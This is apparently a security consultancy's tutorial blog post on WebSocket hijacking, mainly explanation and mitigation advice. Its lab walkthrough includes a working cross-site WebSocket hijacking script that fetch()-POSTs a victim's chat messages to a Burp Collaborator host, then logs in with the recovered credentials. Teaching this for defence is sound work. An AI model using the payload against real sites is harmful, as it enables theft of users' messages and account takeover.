WebSocket Hijacking: Exploiting Vulnerabilities and Ensuring Security

WebSocket Hijacking: Exploiting Vulnerabilities and Ensuring Security

WebSocket hijacking is a critical security concern in modern web applications. While WebSockets provide efficient and real-time communication between clients and servers, they also introduce potential vulnerabilities that attackers can exploit. In this comprehensive guide, we will explore the various ways WebSocket hijacking can occur and discuss strategies to mitigate these risks.

Understanding WebSockets

Before delving into the intricacies of WebSocket hijacking, it’s important to have a solid understanding of what WebSockets are and how they work. WebSockets are bidirectional, full-duplex communication channels that allow real-time data transfer between clients and servers. Unlike traditional HTTP connections, which follow a request-response pattern, WebSockets enable continuous and asynchronous communication.

To establish a WebSocket connection, the client and server exchange an initial handshake over HTTP and then upgrade the connection to a persistent WebSocket connection. This persistent connection allows data to flow between the client and server without the need for repeated requests and responses.

WebSockets are commonly used in a variety of applications, including real-time web applications, gaming platforms, and chat applications. Their ability to provide low-latency communication makes them ideal for scenarios where instant data updates are crucial.

The Risks of WebSocket Hijacking

While WebSockets offer numerous benefits, they also introduce potential security vulnerabilities. Attackers hijack WebSockets by gaining unauthorized access to a WebSocket connection and manipulating the transmitted data.

This can lead to various types of attacks, including:

1) Cross-Site WebSocket Hijacking (CSWSH)

Cross-site WebSocket Hijacking (CSWSH) is a type of attack where an attacker tricks a victim’s browser into sending WebSocket requests to a vulnerable web application. By exploiting this vulnerability, an attacker can establish a WebSocket connection from their domain and communicate with the WebSocket server, potentially gaining access to sensitive information or executing malicious actions.

To protect against CSWSH attacks, proper validation of the Origin header in the initial WebSocket handshake is essential. To mitigate the risk of cross-domain WebSocket hijacking, ensure that the WebSocket server only accepts connections from trusted origins.

2) Injection Attacks

WebSockets are susceptible to various injection attacks, including SQL injection, Cross-Site Scripting (XSS), and XML External Entity (XXE) injection. These attacks occur when untrusted user input is not properly validated or sanitized before being processed by the server.

To prevent injection attacks, it is crucial to implement robust input validation and sanitization mechanisms. Properly validating and escaping user input can significantly reduce the risk of injection vulnerabilities in WebSocket-enabled applications.

3) Denial of Service (DoS) Attacks

WebSocket connections can be exploited for DoS attacks, where an attacker overwhelms the server with too many WebSocket messages or connections. These attacks can lead to service interruptions and impact the availability of the application.

Implementing rate-limiting mechanisms and monitoring WebSocket traffic can help mitigate the risk of DoS attacks. By limiting the number of incoming WebSocket connections or messages per second, an application can reduce the impact of DoS attempts.

Exploiting WebSocket Hijacking Vulnerabilities

To fully understand the risks associated with WebSocket hijacking, it is essential to explore the different techniques attackers use to exploit these vulnerabilities. Let’s dive into some common methods used by attackers:

1) Session Fixation

Session fixation is a vulnerability that allows an attacker to manipulate a user’s session on a web application. By forcing the victim to use a specific session ID, the attacker can gain unauthorized access to the user’s account and perform actions on their behalf.

In order to mitigate the risk of session fixation attacks, web applications should implement session management mechanisms that generate unique session IDs for each user and invalidate old sessions upon login.

2) Man-in-the-Middle (MitM) Attacks

Man-in-the-middle (MitM) attacks involve an attacker intercepting and altering communication between the client and server. In the context of WebSocket hijacking, an attacker can insert themselves into the WebSocket connection and modify the data being transmitted.

To protect against MitM attacks, it is crucial to ensure secure communication channels between clients and servers. Implementing Transport Layer Security (TLS) encryption, using the wss:// scheme, can protect WebSocket connections from being intercepted and manipulated by attackers.

3) Unencrypted Communications

Unencrypted communication over WebSockets can expose sensitive data to eavesdroppers. Attackers can intercept and modify the data being transmitted, potentially leading to unauthorized access or data leakage.

It is important to encrypt your WebSocket connections (wss://) to secure WebSocket communications and significantly reduce the risk of interception and tampering with transmitted data.

How to Detect?

In order to identify a WebSocket vulnerability in the application, the following can be done:

  • Does the application allow communication using ws instead of wss?
  • Is there an input validation in place for the message sent?
  • Is the Origin header being checked, or can you write your domain there?(try to exploit it if there is no randomized CSRF token in the GET request.)
  • Is it possible to send unrestricted cross-domain calls to lead to DoS attacks?

Practical Example

In this demonstration, we are exploiting a Cross-site WebSocket Hijacking vulnerability from Portswigger Academy. 

Lab Description: The lab application supports a live chat feature using WebSocket. 

The goal of this lab is to use the exploit server to host an HTML/JavaScript payload that uses a cross-site WebSocket hijacking attack to exfiltrate the victim’s chat history, then use this to gain access to their account

The Application is a shop website that has a chat support page. Click on the live chat option, send one message, and reload the page.

websocket hijacking

The message exchange runs via Websockets. If we look at the websocket tab we can see that the ready command retrieve past chat messages from the server 

websocket hijacking

Now click on HTTP chat History and look for the handshake to see how the websocket is established.

As you can see the request has no CSRF token in it. Next, right click on the handshake URL and copy it. Open the Burp Suite collaborator and click on copy to clipboard to copy the link. 

websocket hijacking

Now go to the Exploit server and paste the following exploit in the Body part. 

				
					<script> 
    var ws = new WebSocket('wss://paste the handshake url here’); 
    ws.onopen = function() { 
        ws.send("READY"); 
    }; 

    ws.onmessage = function(event) { 
        fetch('https://burp collaborator link, {method: 'POST', mode: 'no-cors', body: event.data}); 
    }; 
</script> 

				
			
websocket hijacking

Click on the “view exploit” tab. The next step is to Poll for interactions in the Collaborator tab. Verify that the attack has successfully retrieved your chat history and exfiltrated it via Burp Collaborator.

Go back to the exploit server, click on the “deliver the exploit to the victim” tab, and check the burp collaborator again (click the poll button multiple times). Observe that you’ve received more HTTP interactions containing the victim’s chat history. If you examine the messages carefully, you can see that one of the requests contains the victim’s credentials.

Copy the content and paste it in burp decoder. 

After decoding the message, we can see the victim’s username and password. You can use these credentials to log in to the victim’s account. 

websocket hijacking

4) Lack of Input Validation

Insufficient input validation is a common vulnerability that can be exploited through WebSockets. Attackers can inject malicious code, such as SQL queries or JavaScript, into WebSocket messages, leading to SQL injection or XSS attacks.

To prevent input validation vulnerabilities, it is vital to validate and sanitize all user input before processing it on the server. Implementing strict input validation routines and using parameterized queries can help mitigate the risk of injection attacks.

Ensuring WebSocket Security

To ensure the security of WebSocket-enabled applications, it is crucial to implement best practices and security measures. Here are some recommendations for securing WebSocket connections:

1) Validate the Origin Header

Properly validate the Origin header in the initial WebSocket handshake to ensure that connections are only accepted from trusted domains. Verifying the Origin header helps prevent cross-domain WebSocket hijacking.

2) Implement Secure WebSocket Connections

Always use encrypted WebSocket connections (wss://) to protect data transmitted over WebSockets. TLS encryption provides confidentiality and integrity, preventing eavesdropping and data tampering.

3) Sanitize User Input

Implement robust input validation and sanitization mechanisms to prevent injection attacks. Validate and sanitize all user input before processing it on the server to mitigate the risk of SQL injection, XSS, and other injection vulnerabilities.

4) Limit the Rate of Incoming Connections and Messages

Implement rate-limiting mechanisms to prevent DoS attacks. Limit the number of incoming WebSocket connections and messages per second to ensure the application’s availability and stability.

5) Regularly Update and Patch WebSocket Libraries

Keep WebSocket libraries and dependencies up to date to ensure that any known security vulnerabilities are patched. Regularly check for updates and apply them promptly to minimize the risk of exploitation.

WebSocket hijacking poses significant security risks to web applications that utilize WebSocket connections. By understanding the vulnerabilities and techniques used by attackers, developers and security professionals can take proactive measures to secure WebSocket-enabled applications.

Implementing proper input validation, securing WebSocket connections with encryption, and validating the Origin header are critical steps in mitigating the risk of WebSocket hijacking. Regular security assessments and updates to WebSocket libraries are also essential in ensuring the ongoing security of WebSocket-enabled applications.

TL;DR

By following best practices and staying vigilant against potential threats, organizations can harness the benefits of WebSockets while keeping their applications secure and resilient.

Remember, securing WebSocket connections is an ongoing effort, and staying informed about emerging threats and vulnerabilities is crucial for maintaining a robust security posture.

Redfox Security is a diverse network of expert security consultants with a global mindset and a collaborative culture. If you are looking to improve your organization’s security posture, contact us today to discuss your security testing needs. Our team of security professionals can help you identify vulnerabilities and weaknesses in your systems, and provide recommendations to remediate them.

“Join us on our journey of growth and development by signing up for our comprehensive courses.